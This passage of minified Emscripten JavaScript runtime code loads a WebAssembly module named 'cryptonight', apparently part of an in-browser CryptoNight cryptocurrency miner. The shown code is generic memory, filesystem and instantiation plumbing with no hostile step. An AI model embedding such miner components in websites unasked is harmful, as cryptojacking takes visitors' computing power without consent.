callRuntimeCallbacks(callbacks){while(callbacks.length>0){var callback=callbacks.shift();if(typeof callback==\"function\"){callback();continue}var func=callback.func;if(typeof func===\"number\"){if(callback.arg===undefined){Module[\"dynCall_v\"](func)}else{Module[\"dynCall_vi\"](func,callback.arg)}}else{func(callback.arg===undefined?null:callback.arg)}}}var __ATPRERUN__=[];var __ATINIT__=[];var __ATMAIN__=[];var __ATEXIT__=[];var __ATPOSTRUN__=[];var runtimeInitialized=false;var runtimeExited=false;function preRun(){if(Module[\"preRun\"]){if(typeof Module[\"preRun\"]==\"function\")Module[\"preRun\"]=[Module[\"preRun\"]];while(Module[\"preRun\"].length){addOnPreRun(Module[\"preRun\"].shift())}}callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRuntime(){if(runtimeInitialized)return;runtimeInitialized=true;callRuntimeCallbacks(__ATINIT__)}function preMain(){callRuntimeCallbacks(__ATMAIN__)}function exitRuntime(){callRuntimeCallbacks(__ATEXIT__);runtimeExited=true}function postRun(){if(Module[\"postRun\"]){if(typeof Module[\"postRun\"]==\"function\")Module[\"postRun\"]=[Module[\"postRun\"]];while(Module[\"postRun\"].length){addOnPostRun(Module[\"postRun\"].shift())}}callRuntimeCallbacks(__ATPOSTRUN__)}function addOnPreRun(cb){__ATPRERUN__.unshift(cb)}Module[\"addOnPreRun\"]=addOnPreRun;function addOnInit(cb){__ATINIT__.unshift(cb)}Module[\"addOnInit\"]=addOnInit;function addOnPreMain(cb){__ATMAIN__.unshift(cb)}Module[\"addOnPreMain\"]=addOnPreMain;function addOnExit(cb){__ATEXIT__.unshift(cb)}Module[\"addOnExit\"]=addOnExit;function addOnPostRun(cb){__ATPOSTRUN__.unshift(cb)}Module[\"addOnPostRun\"]=addOnPostRun;function intArrayFromString(stringy,dontAddNull,length){var len=length>0?length:lengthBytesUTF8(stringy)+1;var u8array=new Array(len);var numBytesWritten=stringToUTF8Array(stringy,u8array,0,u8array.length);if(dontAddNull)u8array.length=numBytesWritten;return u8array}Module[\"intArrayFromString\"]=intArrayFromString;function intArrayToString(array){var ret=[];for(var i=0;i<array.length;i++){var chr=array[i];if(chr>255){chr&=255}ret.push(String.fromCharCode(chr))}return ret.join(\"\")}Module[\"intArrayToString\"]=intArrayToString;function writeStringToMemory(string,buffer,dontAddNull){Runtime.warnOnce(\"writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!\");var lastChar,end;if(dontAddNull){end=buffer+lengthBytesUTF8(string);lastChar=HEAP8[end]}stringToUTF8(string,buffer,Infinity);if(dontAddNull)HEAP8[end]=lastChar}Module[\"writeStringToMemory\"]=writeStringToMemory;function writeArrayToMemory(array,buffer){HEAP8.set(array,buffer)}Module[\"writeArrayToMemory\"]=writeArrayToMemory;function writeAsciiToMemory(str,buffer,dontAddNull){for(var i=0;i<str.length;++i){HEAP8[buffer++>>0]=str.charCodeAt(i)}if(!dontAddNull)HEAP8[buffer>>0]=0}Module[\"writeAsciiToMemory\"]=writeAsciiToMemory;if(!Math[\"imul\"]||Math[\"imul\"](4294967295,5)!==-5)Math[\"imul\"]=function imul(a,b){var ah=a>>>16;var al=a&65535;var bh=b>>>16;var bl=b&65535;return al*bl+(ah*bl+al*bh<<16)|0};Math.imul=Math[\"imul\"];if(!Math[\"fround\"]){var froundBuffer=new Float32Array(1);Math[\"fround\"]=(function(x){froundBuffer[0]=x;return froundBuffer[0]})}Math.fround=Math[\"fround\"];if(!Math[\"clz32\"])Math[\"clz32\"]=(function(x){x=x>>>0;for(var i=0;i<32;i++){if(x&1<<31-i)return i}return 32});Math.clz32=Math[\"clz32\"];if(!Math[\"trunc\"])Math[\"trunc\"]=(function(x){return x<0?Math.ceil(x):Math.floor(x)});Math.trunc=Math[\"trunc\"];var Math_abs=Math.abs;var Math_cos=Math.cos;var Math_sin=Math.sin;var Math_tan=Math.tan;var Math_acos=Math.acos;var Math_asin=Math.asin;var Math_atan=Math.atan;var Math_atan2=Math.atan2;var Math_exp=Math.exp;var Math_log=Math.log;var Math_sqrt=Math.sqrt;var Math_ceil=Math.ceil;var Math_floor=Math.floor;var Math_pow=Math.pow;var Math_imul=Math.imul;var Math_fround=Math.fround;var Math_round=Math.round;var Math_min=Math.min;var Math_clz32=Math.clz32;var Math_trunc=Math.trunc;var runDependencies=0;var runDependencyWatcher=null;var dependenciesFulfilled=null;function getUniqueRunDependency(id){return id}function addRunDependency(id){runDependencies++;if(Module[\"monitorRunDependencies\"]){Module[\"monitorRunDependencies\"](runDependencies)}}Module[\"addRunDependency\"]=addRunDependency;function removeRunDependency(id){runDependencies--;if(Module[\"monitorRunDependencies\"]){Module[\"monitorRunDependencies\"](runDependencies)}if(runDependencies==0){if(runDependencyWatcher!==null){clearInterval(runDependencyWatcher);runDependencyWatcher=null}if(dependenciesFulfilled){var callback=dependenciesFulfilled;dependenciesFulfilled=null;callback()}}}Module[\"removeRunDependency\"]=removeRunDependency;Module[\"preloadedImages\"]={};Module[\"preloadedAudios\"]={};var memoryInitializer=null;function integrateWasmJS(Module){var method=Module[\"wasmJSMethod\"]||\"native-wasm\";Module[\"wasmJSMethod\"]=method;var wasmTextFile=Module[\"wasmTextFile\"]||\"cryptonight.wast\";var wasmBinaryFile=Module[\"wasmBinaryFile\"]||\"cryptonight.wasm\";var asmjsCodeFile=Module[\"asmjsCodeFile\"]||\"cryptonight.temp.asm.js\";if(typeof Module[\"locateFile\"]===\"function\"){wasmTextFile=Module[\"locateFile\"](wasmTextFile);wasmBinaryFile=Module[\"locateFile\"](wasmBinaryFile);asmjsCodeFile=Module[\"locateFile\"](asmjsCodeFile)}var wasmPageSize=64*1024;var asm2wasmImports={\"f64-rem\":(function(x,y){return x%y}),\"f64-to-int\":(function(x){return x|0}),\"i32s-div\":(function(x,y){return(x|0)\/(y|0)|0}),\"i32u-div\":(function(x,y){return(x>>>0)\/(y>>>0)>>>0}),\"i32s-rem\":(function(x,y){return(x|0)%(y|0)|0}),\"i32u-rem\":(function(x,y){return(x>>>0)%(y>>>0)>>>0}),\"debugger\":(function(){debugger})};var info={\"global\":null,\"env\":null,\"asm2wasm\":asm2wasmImports,\"parent\":Module};var exports=null;function lookupImport(mod,base){var lookup=info;if(mod.indexOf(\".\")<0){lookup=(lookup||{})[mod]}else{var parts=mod.split(\".\");lookup=(lookup||{})[parts[0]];lookup=(lookup||{})[parts[1]]}if(base){lookup=(lookup||{})[base]}if(lookup===undefined){abort(\"bad lookupImport to (\"+mod+\").\"+base)}return lookup}function mergeMemory(newBuffer){var oldBuffer=Module[\"buffer\"];if(newBuffer.byteLength<oldBuffer.byteLength){Module[\"printErr\"](\"the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here\")}var oldView=new Int8Array(oldBuffer);var newView=new Int8Array(newBuffer);if(!memoryInitializer){oldView.set(newView.subarray(Module[\"STATIC_BASE\"],Module[\"STATIC_BASE\"]+Module[\"STATIC_BUMP\"]),Module[\"STATIC_BASE\"])}newView.set(oldView);updateGlobalBuffer(newBuffer);updateGlobalBufferViews()}var WasmTypes={none:0,i32:1,i64:2,f32:3,f64:4};function fixImports(imports){if(!0)return imports;var ret={};for(var i in imports){var fixed=i;if(fixed[0]==\"_\")fixed=fixed.substr(1);ret[fixed]=imports[i]}return ret}function getBinary(){try{var binary;if(Module[\"wasmBinary\"]){binary=Module[\"wasmBinary\"];binary=new Uint8Array(binary)}else if(Module[\"readBinary\"]){binary=Module[\"readBinary\"](wasmBinaryFile)}else{throw\"on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)\"}return binary}catch(err){abort(err)}}function getBinaryPromise(){if(!Module[\"wasmBinary\"]&&typeof fetch===\"function\"){return fetch(wasmBinaryFile,{credentials:\"same-origin\"}).then((function(response){if(!response[\"ok\"]){throw\"failed to load wasm binary file at '\"+wasmBinaryFile+\"'\"}return response[\"arrayBuffer\"]()}))}return new Promise((function(resolve,reject){resolve(getBinary())}))}function doNativeWasm(global,env,providedBuffer){if(typeof WebAssembly!==\"object\"){Module[\"printErr\"](\"no native wasm support detected\");return false}if(!(Module[\"wasmMemory\"]instanceof WebAssembly.Memory)){Module[\"printErr\"](\"no native wasm Memory in use\");return false}env[\"memory\"]=Module[\"wasmMemory\"];info[\"global\"]={\"NaN\":NaN,\"Infinity\":Infinity};info[\"global.Math\"]=global.Math;info[\"env\"]=env;function receiveInstance(instance){exports=instance.exports;if(exports.memory)mergeMemory(exports.memory);Module[\"asm\"]=exports;Module[\"usingWasm\"]=true;removeRunDependency(\"wasm-instantiate\")}addRunDependency(\"wasm-instantiate\");if(Module[\"instantiateWasm\"]){try{return Module[\"instantiateWasm\"](info,receiveInstance)}catch(e){Module[\"printErr\"](\"Module.instantiateWasm callback failed with error: \"+e);return false}}getBinaryPromise().then((function(binary){return WebAssembly.instantiate(binary,info)})).then((function(output){receiveInstance(output[\"instance\"])})).catch((function(reason){Module[\"printErr\"](\"failed to asynchronously prepare wasm: \"+reason);abort(reason)}));return{}}Module[\"asmPreload\"]=Module[\"asm\"];var asmjsReallocBuffer=Module[\"reallocBuffer\"];var wasmReallocBuffer=(function(size){var PAGE_MULTIPLE=Module[\"usingWasm\"]?WASM_PAGE_SIZE:ASMJS_PAGE_SIZE;size=alignUp(size,PAGE_MULTIPLE);var old=Module[\"buffer\"];var oldSize=old.byteLength;if(Module[\"usingWasm\"]){try{var result=Module[\"wasmMemory\"].grow((size-oldSize)\/wasmPageSize);if(result!==(-1|0)){return Module[\"buffer\"]=Module[\"wasmMemory\"].buffer}else{return null}}catch(e){return null}}else{exports[\"__growWasmMemory\"]((size-oldSize)\/wasmPageSize);return Module[\"buffer\"]!==old?Module[\"buffer\"]:null}});Module[\"reallocBuffer\"]=(function(size){if(finalMethod===\"asmjs\"){return asmjsReallocBuffer(size)}else{return wasmReallocBuffer(size)}});var finalMethod=\"\";Module[\"asm\"]=(function(global,env,providedBuffer){global=fixImports(global);env=fixImports(env);if(!env[\"table\"]){var TABLE_SIZE=Module[\"wasmTableSize\"];if(TABLE_SIZE===undefined)TABLE_SIZE=1024;var MAX_TABLE_SIZE=Module[\"wasmMaxTableSize\"];if(typeof WebAssembly===\"object\"&&typeof WebAssembly.Table===\"function\"){if(MAX_TABLE_SIZE!==undefined){env[\"table\"]=new WebAssembly.Table({\"initial\":TABLE_SIZE,\"maximum\":MAX_TABLE_SIZE,\"element\":\"anyfunc\"})}else{env[\"table\"]=new WebAssembly.Table({\"initial\":TABLE_SIZE,element:\"anyfunc\"})}}else{env[\"table\"]=new Array(TABLE_SIZE)}Module[\"wasmTable\"]=env[\"table\"]}if(!env[\"memoryBase\"]){env[\"memoryBase\"]=Module[\"STATIC_BASE\"]}if(!env[\"tableBase\"]){env[\"tableBase\"]=0}var exports;exports=doNativeWasm(global,env,providedBuffer);return exports});var methodHandler=Module[\"asm\"]}integrateWasmJS(Module);var ASM_CONSTS=[];STATIC_BASE=Runtime.GLOBAL_BASE;STATICTOP=STATIC_BASE+12512;__ATINIT__.push();memoryInitializer=Module[\"wasmJSMethod\"].indexOf(\"asmjs\")>=0||Module[\"wasmJSMethod\"].indexOf(\"interpret-asm2wasm\")>=0?\"cryptonight.js.mem\":null;var STATIC_BUMP=12512;Module[\"STATIC_BASE\"]=STATIC_BASE;Module[\"STATIC_BUMP\"]=STATIC_BUMP;var tempDoublePtr=STATICTOP;STATICTOP+=16;function ___assert_fail(condition,filename,line,func){ABORT=true;throw\"Assertion failed: \"+Pointer_stringify(condition)+\", at: \"+[filename?Pointer_stringify(filename):\"unknown filename\",line,func?Pointer_stringify(func):\"unknown function\"]+\" at \"+stackTrace()}var PROCINFO={ppid:1,pid:42,sid:42,pgid:42};var ERRNO_CODES={EPERM:1,ENOENT:2,ESRCH:3,EINTR:4,EIO:5,ENXIO:6,E2BIG:7,ENOEXEC:8,EBADF:9,ECHILD:10,EAGAIN:11,EWOULDBLOCK:11,ENOMEM:12,EACCES:13,EFAULT:14,ENOTBLK:15,EBUSY:16,EEXIST:17,EXDEV:18,ENODEV:19,ENOTDIR:20,EISDIR:21,EINVAL:22,ENFILE:23,EMFILE:24,ENOTTY:25,ETXTBSY:26,EFBIG:27,ENOSPC:28,ESPIPE:29,EROFS:30,EMLINK:31,EPIPE:32,EDOM:33,ERANGE:34,ENOMSG:42,EIDRM:43,ECHRNG:44,EL2NSYNC:45,EL3HLT:46,EL3RST:47,ELNRNG:48,EUNATCH:49,ENOCSI:50,EL2HLT:51,EDEADLK:35,ENOLCK:37,EBADE:52,EBADR:53,EXFULL:54,ENOANO:55,EBADRQC:56,EBADSLT:57,EDEADLOCK:35,EBFONT:59,ENOSTR:60,ENODATA:61,ETIME:62,ENOSR:63,ENONET:64,ENOPKG:65,EREMOTE:66,ENOLINK:67,EADV:68,ESRMNT:69,ECOMM:70,EPROTO:71,EMULTIHOP:72,EDOTDOT:73,EBADMSG:74,ENOTUNIQ:76,EBADFD:77,EREMCHG:78,ELIBACC:79,ELIBBAD:80,ELIBSCN:81,ELIBMAX:82,ELIBEXEC:83,ENOSYS:38,ENOTEMPTY:39,ENAMETOOLONG:36,ELOOP:40,EOPNOTSUPP:95,EPFNOSUPPORT:96,ECONNRESET:104,ENOBUFS:105,EAFNOSUPPORT:97,EPROTOTYPE:91,ENOTSOCK:88,ENOPROTOOPT:92,ESHUTDOWN:108,ECONNREFUSED:111,EADDRINUSE:98,ECONNABORTED:103,ENETUNREACH:101,ENETDOWN:100,ETIMEDOUT:110,EHOSTDOWN:112,EHOSTUNREACH:113,EINPROGRESS:115,EALREADY:114,EDESTADDRREQ:89,EMSGSIZE:90,EPROTONOSUPPORT:93,ESOCKTNOSUPPORT:94,EADDRNOTAVAIL:99,ENETRESET:102,EISCONN:106,ENOTCONN:107,ETOOMANYREFS:109,EUSERS:87,EDQUOT:122,ESTALE:116,ENOTSUP:95,ENOMEDIUM:123,EILSEQ:84,EOVERFLOW:75,ECANCELED:125,ENOTRECOVERABLE:131,EOWNERDEAD:130,ESTRPIPE:86};var ERRNO_MESSAGES={0:\"Success\",1:\"Not super-user\",2:\"No such file or directory\",3:\"No such process\",4:\"Interrupted system call\",5:\"I\/O error\",6:\"No such device or address\",7:\"Arg list too long\",8:\"Exec format error\",9:\"Bad file number\",10:\"No children\",11:\"No more processes\",12:\"Not enough core\",13:\"Permission denied\",14:\"Bad address\",15:\"Block device required\",16:\"Mount device busy\",17:\"File exists\",18:\"Cross-device link\",19:\"No such device\",20:\"Not a directory\",21:\"Is a directory\",22:\"Invalid argument\",23:\"Too many open files in system\",24:\"Too many open files\",25:\"Not a typewriter\",26:\"Text file busy\",27:\"File too large\",28:\"No space left on device\",29:\"Illegal seek\",30:\"Read only file system\",31:\"Too many links\",32:\"Broken pipe\",33:\"Math arg out of domain of func\",34:\"Math result not representable\",35:\"File locking deadlock error\",36:\"File or path name too long\",37:\"No record locks available\",38:\"Function not implemented\",39:\"Directory not empty\",40:\"Too many symbolic links\",42:\"No message of desired type\",43:\"Identifier removed\",44:\"Channel number out of range\",45:\"Level 2 not synchronized\",46:\"Level 3 halted\",47:\"Level 3 reset\",48:\"Link number out of range\",49:\"Protocol driver not attached\",50:\"No CSI structure available\",51:\"Level 2 halted\",52:\"Invalid exchange\",53:\"Invalid request descriptor\",54:\"Exchange full\",55:\"No anode\",56:\"Invalid request code\",57:\"Invalid slot\",59:\"Bad font file fmt\",60:\"Device not a stream\",61:\"No data (for no delay io)\",62:\"Timer expired\",63:\"Out of streams resources\",64:\"Machine is not on the network\",65:\"Package not installed\",66:\"The object is remote\",67:\"The link has been severed\",68:\"Advertise error\",69:\"Srmount error\",70:\"Communication error on send\",71:\"Protocol error\",72:\"Multihop attempted\",73:\"Cross mount point (not really error)\",74:\"Trying to read unreadable message\",75:\"Value too large for defined data type\",76:\"Given log. name not unique\",77:\"f.d. invalid for this operation\",78:\"Remote address changed\",79:\"Can access a needed shared lib\",80:\"Accessing a corrupted shared lib\",81:\".lib section in a.out corrupted\",82:\"Attempting to link in too many libs\",83:\"Attempting to exec a shared library\",84:\"Illegal byte sequence\",86:\"Streams pipe error\",87:\"Too many users\",88:\"Socket operation on non-socket\",89:\"Destination address required\",90:\"Message too long\",91:\"Protocol wrong type for socket\",92:\"Protocol not available\",93:\"Unknown protocol\",94:\"Socket type not supported\",95:\"Not supported\",96:\"Protocol family not supported\",97:\"Address family not supported by protocol family\",98:\"Address already in use\",99:\"Address not available\",100:\"Network interface is not configured\",101:\"Network is unreachable\",102:\"Connection reset by network\",103:\"Connection aborted\",104:\"Connection reset by peer\",105:\"No buffer space available\",106:\"Socket is already connected\",107:\"Socket is not connected\",108:\"Can't send after socket shutdown\",109:\"Too many references\",110:\"Connection timed out\",111:\"Connection refused\",112:\"Host is down\",113:\"Host is unreachable\",114:\"Socket already connected\",115:\"Connection already in progress\",116:\"Stale file handle\",122:\"Quota exceeded\",123:\"No medium (in tape drive)\",125:\"Operation canceled\",130:\"Previous owner died\",131:\"State not recoverable\"};function ___setErrNo(value){if(Module[\"___errno_location\"])HEAP32[Module[\"___errno_location\"]()>>2]=value;return value}var PATH={splitPath:(function(filename){var splitPathRe=\/^(\\\/?|)([\\s\\S]*?)((?:\\.{1,2}|[^\\\/]+?|)(\\.[^.\\\/]*|))(?:[\\\/]*)$\/;return splitPathRe.exec(filename).slice(1)}),normalizeArray:(function(parts,allowAboveRoot){var up=0;for(var i=parts.length-1;i>=0;i--){var last=parts[i];if(last===\".\"){parts.splice(i,1)}else if(last===\"..\"){parts.splice(i,1);up++}else if(up){parts.splice(i,1);up--}}if(allowAboveRoot){for(;up;up--){parts.unshift(\"..\")}}return parts}),normalize:(function(path){var isAbsolute=path.charAt(0)===\"\/\",trailingSlash=path.substr(-1)===\"\/\";path=PATH.normalizeArray(path.split(\"\/\").filter((function(p){return!!p})),!isAbsolute).join(\"\/\");if(!path&&!isAbsolute){path=\".\"}if(path&&trailingSlash){path+=\"\/\"}return(isAbsolute?\"\/\":\"\")+path}),dirname:(function(path){var result=PATH.splitPath(path),root=result[0],dir=result[1];if(!root&&!dir){return\".\"}if(dir){dir=dir.substr(0,dir.length-1)}return root+dir}),basename:(function(path){if(path===\"\/\")return\"\/\";var lastSlash=path.lastIndexOf(\"\/\");if(lastSlash===-1)return path;return path.substr(lastSlash+1)}),extname:(function(path){return PATH.splitPath(path)[3]}),join:(function(){var paths=Array.prototype.slice.call(arguments,0);return PATH.normalize(paths.join(\"\/\"))}),join2:(function(l,r){return PATH.normalize(l+\"\/\"+r)}),resolve:(function(){var resolvedPath=\"\",resolvedAbsolute=false;for(var i=arguments.length-1;i>=-1&&!resolvedAbsolute;i--){var path=i>=0?arguments[i]:FS.cwd();if(typeof path!==\"string\"){throw new TypeError(\"Arguments to path.resolve must be strings\")}else if(!path){return\"\"}resolvedPath=path+\"\/\"+resolvedPath;resolvedAbsolute=path.charAt(0)===\"\/\"}resolvedPath=PATH.normalizeArray(resolvedPath.split(\"\/\").filter((function(p){return!!p})),!resolvedAbsolute).join(\"\/\");return(resolvedAbsolute?\"\/\":\"\")+resolvedPath||\".\"}),relative:(function(from,to){from=PATH.resolve(from).substr(1);to=PATH.resolve(to).substr(1);function trim(arr){var start=0;for(;start<arr.length;start++){if(arr[start]!==\"\")break}var end=arr.length-1;for(;end>=0;end--){if(arr[end]!==\"\")break}if(start>end)return[];return arr.slice(start,end-start+1)}var fromParts=trim(from.split(\"\/\"));var toParts=trim(to.split(\"\/\"));var length=Math.min(fromParts.length,toParts.length);var samePartsLength=length;for(var i=0;i<length;i++){if(fromParts[i]!==toParts[i]){samePartsLength=i;break}}var outputParts=[];for(var i=samePartsLength;i<fromParts.length;i++){outputParts.push(\"..\")}outputParts=outputParts.concat(toParts.slice(samePartsLength));return outputParts.join(\"\/\")})};var TTY={ttys:[],init:(function(){}),shutdown:(function(){}),register:(function(dev,ops){TTY.ttys[dev]={input:[],output:[],ops:ops};FS.registerDevice(dev,TTY.stream_ops)}),stream_ops:{open:(function(stream){var tty=TTY.ttys[stream.node.rdev];if(!tty){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}stream.tty=tty;stream.seekable=false}),close:(function(stream){stream.tty.ops.flush(stream.tty)}),flush:(function(stream){stream.tty.ops.flush(stream.tty)}),read:(function(stream,buffer,offset,length,pos){if(!stream.tty||!stream.tty.ops.get_char){throw new FS.ErrnoError(ERRNO_CODES.ENXIO)}var bytesRead=0;for(var i=0;i<length;i++){var result;try{result=stream.tty.ops.get_char(stream.tty)}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}if(result===undefined&&bytesRead===0){throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)}if(result===null||result===undefined)break;bytesRead++;buffer[offset+i]=result}if(bytesRead){stream.node.timestamp=Date.now()}return bytesRead}),write:(function(stream,buffer,offset,length,pos){if(!stream.tty||!stream.tty.ops.put_char){throw new FS.ErrnoError(ERRNO_CODES.ENXIO)}for(var i=0;i<length;i++){try{stream.tty.ops.put_char(stream.tty,buffer[offset+i])}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EIO)}}if(length){stream.node.timestamp=Date.now()}return i})},default_tty_ops:{get_char:(function(tty){if(!tty.input.length){var result=null;if(ENVIRONMENT_IS_NODE){var BUFSIZE=256;var buf=new Buffer(BUFSIZE);var bytesRead=0;var isPosixPlatform=process.platform!=\"win32\";var fd=process.stdin.fd;if(isPosixPlatform){var usingDevice=false;try{fd=fs.openSync(\"\/dev\/stdin\",\"r\");usingDevice=true}catch(e){}}try{bytesRead=fs.readSync(fd,buf,0,BUFSIZE,null)}catch(e){if(e.toString().indexOf(\"EOF\")!=-1)bytesRead=0;else throw e}if(usingDevice){fs.closeSync(fd)}if(bytesRead>0){result=buf.slice(0,bytesRead).toString(\"utf-8\")}else{result=null}}else if(typeof window!=\"undefined\"&&typeof window.prompt==\"function\"){result=window.prompt(\"Input: \");if(result!==null){result+=\"\\n\"}}else if(typeof readline==\"function\"){result=readline();if(result!==null){result+=\"\\n\"}}if(!result){return null}tty.input=intArrayFromString(result,true)}return tty.input.shift()}),put_char:(function(tty,val){if(val===null||val===10){Module[\"print\"](UTF8ArrayToString(tty.output,0));tty.output=[]}else{if(val!=0)tty.output.push(val)}}),flush:(function(tty){if(tty.output&&tty.output.length>0){Module[\"print\"](UTF8ArrayToString(tty.output,0));tty.output=[]}})},default_tty1_ops:{put_char:(function(tty,val){if(val===null||val===10){Module[\"printErr\"](UTF8ArrayToString(tty.output,0));tty.output=[]}else{if(val!=0)tty.output.push(val)}}),flush:(function(tty){if(tty.output&&tty.output.length>0){Module[\"printErr\"](UTF8ArrayToString(tty.output,0));tty.output=[]}})}};var MEMFS={ops_table:null,mount:(function(mount){return MEMFS.createNode(null,\"\/\",16384|511,0)}),createNode:(function(parent,name,mode,dev){if(FS.isBlkdev(mode)||FS.isFIFO(mode)){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(!MEMFS.ops_table){MEMFS.ops_table={dir:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,lookup:MEMFS.node_ops.lookup,mknod:MEMFS.node_ops.mknod,rename:MEMFS.node_ops.rename,unlink:MEMFS.node_ops.unlink,rmdir:MEMFS.node_ops.rmdir,readdir:MEMFS.node_ops.readdir,symlink:MEMFS.node_ops.symlink},stream:{llseek:MEMFS.stream_ops.llseek}},file:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:{llseek:MEMFS.stream_ops.llseek,read:MEMFS.stream_ops.read,write:MEMFS.stream_ops.write,allocate:MEMFS.stream_ops.allocate,mmap:MEMFS.stream_ops.mmap,msync:MEMFS.stream_ops.msync}},link:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,readlink:MEMFS.node_ops.readlink},stream:{}},chrdev:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:FS.chrdev_stream_ops}}}var node=FS.createNode(parent,name,mode,dev);if(FS.isDir(node.mode)){node.node_ops=MEMFS.ops_table.dir.node;node.stream_ops=MEMFS.ops_table.dir.stream;node.contents={}}else if(FS.isFile(node.mode)){node.node_ops=MEMFS.ops_table.file.node;node.stream_ops=MEMFS.ops_table.file.stream;node.usedBytes=0;node.contents=null}else if(FS.isLink(node.mode)){node.node_ops=MEMFS.ops_table.link.node;node.stream_ops=MEMFS.ops_table.link.stream}else if(FS.isChrdev(node.mode)){node.node_ops=MEMFS.ops_table.chrdev.node;node.stream_ops=MEMFS.ops_table.chrdev.stream}node.timestamp=Date.now();if(parent){parent.contents[name]=node}return node}),getFileDataAsRegularArray:(function(node){if(node.contents&&node.contents.subarray){var arr=[];for(var i=0;i<node.usedBytes;++i)arr.push(node.contents[i]);return arr}return node.contents}),getFileDataAsTypedArray:(function(node){if(!node.contents)return new Uint8Array;if(node.contents.subarray)return node.contents.subarray(0,node.usedBytes);return new Uint8Array(node.contents)}),expandFileStorage:(function(node,newCapacity){if(node.contents&&node.contents.subarray&&newCapacity>node.contents.length){node.contents=MEMFS.getFileDataAsRegularArray(node);node.usedBytes=node.contents.length}if(!node.contents||node.contents.subarray){var prevCapacity=node.contents?node.contents.length:0;if(prevCapacity>=newCapacity)return;var CAPACITY_DOUBLING_MAX=1024*1024;newCapacity=Math.max(newCapacity,prevCapacity*(prevCapacity<CAPACITY_DOUBLING_MAX?2:1.125)|0);if(prevCapacity!=0)newCapacity=Math.max(newCapacity,256);var oldContents=node.contents;node.contents=new Uint8Array(newCapacity);if(node.usedBytes>0)node.contents.set(oldContents.subarray(0,node.usedBytes),0);return}if(!node.contents&&newCapacity>0)node.contents=[];while(node.contents.length<newCapacity)node.contents.push(0)}),resizeFileStorage:(function(node,newSize){if(node.usedBytes==newSize)return;if(newSize==0){node.contents=null;node.usedBytes=0;return}if(!node.contents||node.contents.subarray){var oldContents=node.contents;node.contents=new Uint8Array(new ArrayBuffer(newSize));if(oldContents){node.contents.set(oldContents.subarray(0,Math.min(newSize,node.usedBytes)))}node.usedBytes=newSize;return}if(!node.contents)node.contents=[];if(node.contents.length>newSize)node.contents.length=newSize;else while(node.contents.length<newSize)node.contents.push(0);node.usedBytes=newSize}),node_ops:{getattr:(function(node){var attr={};attr.dev=FS.isChrdev(node.mode)?node.id:1;attr.ino=node.id;attr.mode=node.mode;attr.nlink=1;attr.uid=0;attr.gid=0;attr.rdev=node.rdev;if(FS.isDir(node.mode)){attr.size=4096}else if(FS.isFile(node.mode)){attr.size=node.usedBytes}else if(FS.isLink(node.mode)){attr.size=node.link.length}else{attr.size=0}attr.atime=new Date(node.timestamp);attr.mtime=new Date(node.timestamp);attr.ctime=new Date(node.timestamp);attr.blksize=4096;attr.blocks=Math.ceil(attr.size\/attr.blksize);return attr}),setattr:(function(node,attr){if(attr.mode!==undefined){node.mode=attr.mode}if(attr.timestamp!==undefined){node.timestamp=attr.timestamp}if(attr.size!==undefined){MEMFS.resizeFileStorage(node,attr.size)}}),lookup:(function(parent,name){throw FS.genericErrors[ERRNO_CODES.ENOENT]}),mknod:(function(parent,name,mode,dev){return MEMFS.createNode(parent,name,mode,dev)}),rename:(function(old_node,new_dir,new_name){if(FS.isDir(old_node.mode)){var new_node;try{new_node=FS.lookupNode(new_dir,new_name)}catch(e){}if(new_node){for(var i in new_node.contents){throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}}}delete old_node.parent.contents[old_node.name];old_node.name=new_name;new_dir.contents[new_name]=old_node;old_node.parent=new_dir}),unlink:(function(parent,name){delete parent.contents[name]}),rmdir:(function(parent,name){var node=FS.lookupNode(parent,name);for(var i in node.contents){throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}delete parent.contents[name]}),readdir:(function(node){var entries=[\".\",\"..\"];for(var key in node.contents){if(!node.contents.hasOwnProperty(key)){continue}entries.push(key)}return entries}),symlink:(function(parent,newname,oldpath){var node=MEMFS.createNode(parent,newname,511|40960,0);node.link=oldpath;return node}),readlink:(function(node){if(!FS.isLink(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return node.link})},stream_ops:{read:(function(stream,buffer,offset,length,position){var contents=stream.node.contents;if(position>=stream.node.usedBytes)return 0;var size=Math.min(stream.node.usedBytes-position,length);assert(size>=0);if(size>8&&contents.subarray){buffer.set(contents.subarray(position,position+size),offset)}else{for(var i=0;i<size;i++)buffer[offset+i]=contents[position+i]}return size}),write:(function(stream,buffer,offset,length,position,canOwn){if(!length)return 0;var node=stream.node;node.timestamp=Date.now();if(buffer.subarray&&(!node.contents||node.contents.subarray)){if(canOwn){node.contents=buffer.subarray(offset,offset+length);node.usedBytes=length;return length}else if(node.usedBytes===0&&position===0){node.contents=new Uint8Array(buffer.subarray(offset,offset+length));node.usedBytes=length;return length}else if(position+length<=node.usedBytes){node.contents.set(buffer.subarray(offset,offset+length),position);return length}}MEMFS.expandFileStorage(node,position+length);if(node.contents.subarray&&buffer.subarray)node.contents.set(buffer.subarray(offset,offset+length),position);else{for(var i=0;i<length;i++){node.contents[position+i]=buffer[offset+i]}}node.usedBytes=Math.max(node.usedBytes,position+length);return length}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else if(whence===2){if(FS.isFile(stream.node.mode)){position+=stream.node.usedBytes}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position}),allocate:(function(stream,offset,length){MEMFS.expandFileStorage(stream.node,offset+length);stream.node.usedBytes=Math.max(stream.node.usedBytes,offset+length)}),mmap:(function(stream,buffer,offset,length,position,prot,flags){if(!FS.isFile(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}var ptr;var allocated;var 